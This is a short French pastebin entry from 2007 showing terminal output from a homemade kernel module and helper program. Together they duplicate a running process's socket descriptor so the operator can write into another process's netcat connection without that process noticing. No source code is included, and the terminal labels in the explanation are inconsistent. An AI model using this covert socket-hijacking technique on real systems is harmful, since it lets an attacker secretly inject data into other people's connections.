All pastes #431070 Raw Edit

Someone

public text v1 · immutable
·published 2007-04-09 13:09 UTC
rendered paste body
# insmod mydup.ko
[+] Module loaded.
[+] /proc/my_dup created.


Exemple :

Dans un term (term1) un serveur qui ecoute :
$ nc -lp 12345

Dans un term (term2) un client qui communique avec le serveur
$ nc localhost 12345

Dans un term (term3) duplication de la socket de communication
du client sur STDIN et STDOUT :

$ ./a.out
./a.out <spid> <dpid> <sfd> <dfd>
$ ps uax | grep "nc localhost"
emp      11609  0.0  0.0   1640   624 pts/0    S+   14:53   0:00 nc localhost 12345
$ ls -al /proc/11609/fd/
total 4
dr-x------ 2 emp emp  0 2007-04-09 14:56 .
dr-xr-xr-x 5 emp emp  0 2007-04-09 14:56 ..
lrwx------ 1 emp emp 64 2007-04-09 14:58 0 -> /dev/pts/0
lrwx------ 1 emp emp 64 2007-04-09 14:58 1 -> /dev/pts/0
lrwx------ 1 emp emp 64 2007-04-09 14:56 2 -> /dev/pts/0
lrwx------ 1 emp emp 64 2007-04-09 14:58 3 -> socket:[275096]
$ ./a.out 11609 $$ 3 1
[+] my_dup ok

test


Explication :
a.out permet de faire le controle avec le /proc/my_dup, j'ai dup le fd 1 d'a.out sur le fd 3 du client
(son socket). Tout ce que je tape dans ce term (term3) j'affiche cote serveur (term2), sans que le
client (term1) puisse s'appercevoir que je tape des commandes a dans son socket.